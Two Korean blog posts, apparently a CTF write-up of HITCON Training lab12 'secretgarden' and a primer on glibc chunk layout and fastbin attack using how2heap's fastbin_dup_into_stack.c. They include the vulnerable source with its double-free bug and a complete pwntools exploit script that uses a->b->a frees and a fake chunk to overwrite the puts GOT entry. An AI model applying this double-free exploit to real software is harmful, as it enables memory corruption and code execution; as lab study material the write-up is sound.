1. 시작하기전에...

저번 포스팅(http://bachs.tistory.com/entry/HITCON-Training-lab12-Fastbin-Attack?category=961837)에 이어 fastbin attack에 대해 포스팅 하려고합니다.

이번 글에서는 HITCON Training lab12를 풀어보겠습니다.



2. 분석

문제에서 주어진 소스코드 secretgarden.c 를 살펴보겠습니다. 소스코드가 길어 필요한 부분만 분석하겠습니다.(환경은 64bit 입니다.)


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struct flower{
    int vaild ;             //8byte
    char *name ;            //8byte
    char color[24] ;        //24byte
};
                            //40byte
 
struct flower* flowerlist[100];    //list of flowers
unsigned int flowercount = 0;     //count of flowers 



먼저 flower 구조체가 있습니다. flower구조체는 꽃(flower구조체)의 유효성을 검증해주는 valid 변수가 있고, 꽃의 이름을 입력받는 변수 name이 있습니다.

마지막으로 꽃의 색을 저장하는 24바이트짜리 char 배열 color 변수를 멤버로합니다. 이 구조체의 총 크기는 40바이트입니다.


전역변수로는 전체 꽃의 개 수를 세기 위한 flowercount가 있고, 꽃들을 관리할 수 있는 flower * 배열이 있습니다.


다음은 함수들을 살펴보도록 하겠습니다. 모든 함수를 다루기엔 내용이 너무 많아, 취약점이 발생 할 수 있는 함수인 add()와 del()만 살펴보겠습니다.


int add()

=> add함수의 동작은 아래와 같습니다.  

전역변수 flowercount가 100보다 크면 "The garden is overflow" 출력합니다.

flowercount가 100보다 작으면

- 추가 할 flower구조체에 메모리를 할당하고 초기화 합니다.

- flower name 의 크기를 입력 받은 후 크기만큼 buf 메모리를 할당합니다.

- flower name을 입력받아 buf에 저장합니다.

- flower 구조체 name 멤버변수에 buf 포인터를 대입합니다.

- flower 구조체 color 멤버변수에 입력 받습니다.

- flower 구조체 valid 변수 1로 setting합니다.

- 전역변수 flowerlist를 검색하여 비어있는 곳에 생성한 flower 를 추가합니다.

- 전역변수 flowercount를 1 증가시킨 후, "Successful !" 출력합니다.

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int add(){
    struct flower *newflower = NULL ;
    char *buf = NULL ;
    unsigned size =0;
    unsigned index ;
    if(flowercount < 100){
        newflower = malloc(sizeof(struct flower));
        memset(newflower,0,sizeof(struct flower));
        printf("Length of the name :");
        if(scanf("%u",&size)== EOF) exit(-1);
        buf = (char*)malloc(size);
        if(!buf){
            puts("Alloca error !!");
            exit(-1);
        }
        printf("The name of flower :");
        read(0,buf,size);
        newflower->name = buf ;
        printf("The color of the flower :");
        scanf("%23s",newflower->color);
        newflower->vaild = 1 ;
        for(index = 0 ; index < 100 ; index++ ){
            if(!flowerlist[index]){
                flowerlist[index] = newflower ;
                break ;
            }
        }
        flowercount++ ;
        puts("Successful !");
    }else{
        puts("The garden is overflow");
    }
}



int del()

flowercount가 0이면 "No flower in the garden" 출력합니다.

flowercount가 0이 아니면 "Which flower do you want to remove from the garden:" 를 출력 한 후 지울 index를 입력받습니다.

  입력받은 인덱스의 유효성 검사(0 ~ 100의 범위 외) 이거나 해당 인덱스에 값이 없는 경우 

- "Invalid choice" 출력 후 프로그램을 종료합니다.

위의 경우가 아니면

- 해당 인덱스의 구조체 valid 멤버변수를 0으로 setting합니다.

- 해당 인덱스의 구조체 name 멤버변수의 메모리를 해제합니다.

- "Successful" 출력

- 구조체는 메모리 해제하지 않으며, flowerlist에서도 지우지 않습니다.

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int del(){
    unsigned int index ;
    if(!flowercount){
        puts("No flower in the garden");
    }else{
        printf("Which flower do you want to remove from the garden:");
        scanf("%d",&index);
        if(index < 0 ||index >= 100 || !flowerlist[index]){
            puts("Invalid choice");
            return 0 ;
        }
        (flowerlist[index])->vaild = 0 ;
        free((flowerlist[index])->name);
        puts("Successful");
    }
}



fastbin attack이 가능한 조건은 아래와 같습니다.


- 동일한 크기의 Fast chunk의 할당과 해제가 자유로워야한다.

- 공격자에 의해 해제된 Fast chunk를 한번 더 해제 할 수 있어야 한다.(Double Free Bug)

- 공격자에 의해 할당된 Fast chunk 영역에 값을 저장 할 수 있어야 한다.

- 할당 받고자 하는 메모리 영역에 해제된 Fast chunk의 크기 값이 저장되어 있어야한다.


소스코드를 분석해 보았을 때, add()함수 내에서 크기 값을 입력하여 Fast chunk의 할당이 자유롭고 할당된 메모리 내에 값을 쓸 수 있으며 

del()함수를 통해 메모리 해제 역시 자유롭습니다. 앞선 포스팅에서 봤듯이 메모리를 할당한 후 a -> b -> a의 형태로 메모리 해제를 하면,

fastbin attack이 가능 할 것으로 보입니다.


3. Exploit 

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#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
context.terminal = ['terminator','-x','bash','-c']
r = process('./secretgarden')
 
def raiseflower(length,name,color):
    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(str(length))
    r.recvuntil(":")
    r.sendline(name)
    r.recvuntil(":")
    r.sendline(color)
 
def visit():
    r.recvuntil(":")
    r.sendline("2")
    
def remove(idx):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))
 
def clean():
    r.recvuntil(":")
    r.sendline("4")
    
magic = 0x400c7b 
fake_chunk = 0x601ffa
 
raiseflower(80,"tulip","red")#0
raiseflower(80,"rose","blue")#1
remove(0)
remove(1)
remove(0)
raiseflower(80,p64(fake_chunk),"blue")
raiseflower(80,"sunflower","red")
raiseflower(80,"bach","green")
raiseflower(80, "a"*6 + p64(0) + p64(magic)*2 ,"red")#malloc in fake_chunk
 
r.interactive()



exploit 코드를 살펴보겠습니다.

코드의 메인 아이디어는 호출 하고 싶은 함수(magic)의 주소를 적어두고, 이 주소를 puts함수의 got에 써주어 exploit을 하려고합니다.


첫 번째로 35 ~ 39라인 에서 메모리를 두 개 할당 하여 a->b->a의 순서로 메모리를 해제하였습니다.

그리고 puts의 got(0x602020)에 써주기 위해 fake_chunk를 0x601ffa를 선정하였는데 이유는 80바이트(0x50) + chunk header(0x10)값이 적힌 곳에

써주어야 하기 때문입니다. 이 부분이 이해가 안간다면 앞에 포스팅 한 글에서 chunk사이즈를 맞춰주어야 한다는 부분을 다시 보고오시기 바랍니다.


 


0x601ffa의 주소를 출력한 화면입니다. 0x601ffa + 0x8에 0xe150000000000060 값이 쓰여져 있습니다.

이 곳에 설명한대로라면 0x0000000000000060 값이 써져있어야 하지만 상위 바이트에 다른 값이 추가로 더 붙어있음을 알 수 있습니다.

운영체제에서 검사하는 메모리의 크기는 하위 4바이트를 이용해 확인하기 때문에 상위 4바이트에 있는 값은 무시할 수 있습니다.

이에 대해 자세한 내용은 http://veritas501.space/2017/05/23/HITCON-training%20writeup/ 의 lab12파트를 확인해주시기바랍니다.


따라서 0x601ffa를 fake_chunk의 주소로 선정해주어 메모리를 할당 받고 사용할 수 있는 주소는 0x60200a부터입니다.

0x602020에 값을 덮어쓰기 위해서는 0x602020 - 0x601ffa = 0x16(22) 이고, 따라서 앞의 dummy가 22바이트 필요합니다.


43라인에서 "a"*14 + p64(magic)*2 를 하여(6byte + 8byte + 16byte) 26byte를 써 magic함수가 0x602020에 써질 수 있도록

페이로드를 작성하였습니다.

 

끗!


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1. 시작하기전에...

이번 문제에 대한 포스팅은 내용이 길어질 것 같아서 두 개로 분할해서 포스팅하려고합니다.

먼저 이 글에서는 Allocated Chunk(할당된 Heap)의 형태와 Free Chunk(해제된 Heap)을 알아본 후 how2heap의 예제를 통해 Fastbin Attack의 개념을 적어보려고합니다.

이후 다음 포스팅에서 HITCON Taining lab12의 문제의 라이트업을 쓰도록 하겠습니다.


1-1. Allocated Chunk

메모리가 할당이 되면 아래와 같은 모습을 같는 chunk가 생성됩니다.

맨 위에서부터 차례로 설명을 해보겠습니다. 32bit에서는 4byte, 64bit에서는 8byte로 메모리 상 자신 보다 이전의 chunk의 크기를

저장하는 prev_size필드가 존재합니다. 테스트 해본 결과 앞에 있는 chunk가 없다면 0으로 set되는 것을 확인하였습니다.


그 다음으로 오는 필드는 자기 자신의 크기를 기록합니다. 유저가 사용하는 영역뿐만 아니라 그림에 표현된 chunk 전체의 크기이며,

마지막 3bit는 이전 청크 혹은 현재 청크의 상태를 표현하기 위한 flag로써 사용하는데 자세한 내용은 생략하겠습니다.


위 두 필드를 지나면 사용자가 할당받아 사용하는 공간이 위치합니다. 그리고 마지막으로는 binlist상 다음에 존재하는 chunk의 크기가 기록됩니다.


OS 사용주소 라고 적어놓은 뜻은 binlist에서 관리되는 chunk의 주소를 표현하고 싶어서 저렇게 적어 놓았고,

User 사용주소 라고 적은 것은 실제로 유저가 메모리를 받을 때(malloc, calloc 등을 통해) 리턴 받는 주소라 User사용 주소로썼습니다.


 

1-2. Free Chunk

메모리가 해제된 Chunk는 Allocated Chunk와 비슷하지만 다른 형태를 갖습니다.

상위 두 필드는 같은 용도로써 유지되지만 User사용 영역이였던 곳이 binlist에서 앞 뒤 chunk를 가르키는 포인터 값이 저장 됩니다.

fastbin 같은 경우에는 single linked list이기때문에, forward pointer to next chunk in list(fd)영역에만 값이 쓰여지고 back pointer to next chunk in list(bk)는 필드는 존재하지만 값이 세팅 되지 않습니다.


size of chunk의 하위 3bit flag에 대한 내용을 포함한 더 자세한 사항은 아래 링크 첨부해 드립니다.

[참조] https://heap-exploitation.dhavalkapil.com/diving_into_glibc_heap/malloc_chunk.html (영문)

[참조] https://www.lazenca.net/pages/viewpage.action?pageId=1147929 (한글)


2. how2heap - fastbin_dup_into_stack


how2heap에 fastbin attack에 대한 내용을 코드로 설명을 한 것이 있어 이 것을 같이 보려고합니다.


아래는 fastbin_dup_into_stack.c 의 코드입니다.


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#include <stdio.h>
#include <stdlib.h>
 
int main()
{
    fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
           "returning a pointer to a controlled location (in this case, the stack).\n");
 
    unsigned long long stack_var;
 
    fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);
 
    fprintf(stderr, "Allocating 3 buffers.\n");
    int *a = malloc(8);
    int *b = malloc(8);
    int *c = malloc(8);
 
    fprintf(stderr, "1st malloc(8): %p\n", a);
    fprintf(stderr, "2nd malloc(8): %p\n", b);
    fprintf(stderr, "3rd malloc(8): %p\n", c);
 
    fprintf(stderr, "Freeing the first one...\n");
    free(a);
 
    fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
    // free(a);
 
    fprintf(stderr, "So, instead, we'll free %p.\n", b);
    free(b);
 
    fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
    free(a);
 
    fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
        "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
    unsigned long long *d = malloc(8);
 
    fprintf(stderr, "1st malloc(8): %p\n", d);
    fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
    fprintf(stderr, "Now the free list has [ %p ].\n", a);
    fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
        "so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
        "so that malloc will think there is a free chunk there and agree to\n"
        "return a pointer to it.\n", a);
    stack_var = 0x20;
 
    fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
    *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
 
    fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
    fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
}


 

fastbin attack의 목적은 메모리 할당을 받는 공간을 우리가 원하는 곳으로 컨트롤 하기 위함입니다. 예를 들어 stack공간이라던지, got 테이블이라던지

원하는 공간에 메모리를 할당 받아서 사용할 수 있다는 것입니다.


14 ~ 16라인에서 세 개의 메모리를 할당 받았습니다. (a, b, c) 그 후 메모리 해제를 하는데 순서는 a -> b -> a로 해제를 합니다.

그 이유는 해제된 메모리를 연달아서 해제 할 수 없기 때문인데, fastbin에서는 binlist에 top에 있는 주소를 검사하여 해당 주소는 해제 할 수 없게 되어있습니다. 그래서 a를 두 번 해제하기 위해 a -> b -> a의 순서로 해제 하는 것입니다. 왜 a를 두번 해제 해야하는 지는 아래에서 다시 설명하겠습니다.


지금까지 진행 된 상황에서 fastbin list의 모습을 그려보도록 하겠습니다.



a와 b는 현재 free된 상태이니 Free Chunk의 구조를 가지게 될 것입니다. 또한 a, b, c는 크기가 작아 fastbin에 속하니 fastbin list이기 때문에 single linked list에 속하게 됩니다.


맨 처음 해제 된 a는 FD에 b의 주소를 가르키고 b의 FD는 a를 가리키는 모습이 됩니다. 이 상태에서 36 라인에서 부터 메모리를 다시 할당 하기 시작합니다. 


처음 메모리를 요청 받으면 a의 주소를 리턴해줍니다. 다음에 메모리를 요청 받았을 때 리턴해 줄 주소는 a의 FD에 적혀있는 b의 주소입니다.

다음 메모리를 요청 받으면 b의 주소를 리턴해줍니다. 다음에 메모리를 요청 받았을 때 리턴해 줄 주소는 b의 FD에 적혀있는 a의 주소입니다.


현재는 Tail쪽에 있는 a의 FD에는 값이 없습니다. 하지만 처음 메모리를 요청 했을 때 a를 리턴 받기 때문에 우리가 핸들링 할 수 있습니다.

메모리를 할당 받은 후 a의 FD에 우리가 원하는 주소 값을 써준다면 우리가 원하는 곳의 메모리를 할당 받을 수 있는 것입니다.

FD에 우리가 원하는 주소 값을 써주는 것은 특별한 테크닉이 필요한 것은 아닙니다. 왜냐하면 해제된 메모리의 FD필드는 할당받은 메모리의

contents에 해당하기 때문에 그저 주소 값을 적어주면 됩니다.


여기서 한 가지 놓치지말아야 할 점은 해당 공간에 size of chunk를 맞춰 주어야 한다는 것입니다.

이 예제에서는 stack_var = 0x20 이라는 것으로 size를 맞춰 주고있습니다.


64bit환경에서 a,b,c는 8바이트를 할당 받아서 chunk의 크기는 0x20 = 32byte입니다.

size of previous chunk = 8byte

size of chunk = 8byte

contents = 8byte

next chunk size = 8byte 로 최소 할당 사이즈입니다. (32bit환경은 16byte)


우리가 사용하고 싶은 주소 - 16byte를 a에 써주고, 우리가 사용하고 싶은 주소 - 8byte에 할당 받는 사이즈를 맞춰주는 사전작업을해야

원하는 공간에 메모리를 할당 받을 수 있습니다.  

이러한 이유로 48라인에서 stack_var의 주소 - 8byte로 d의 값을 지정하고 스택공간에 메모리를 할당 받게 한 것입니다.




끗!


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2018.02.27 prev_size관련 수정


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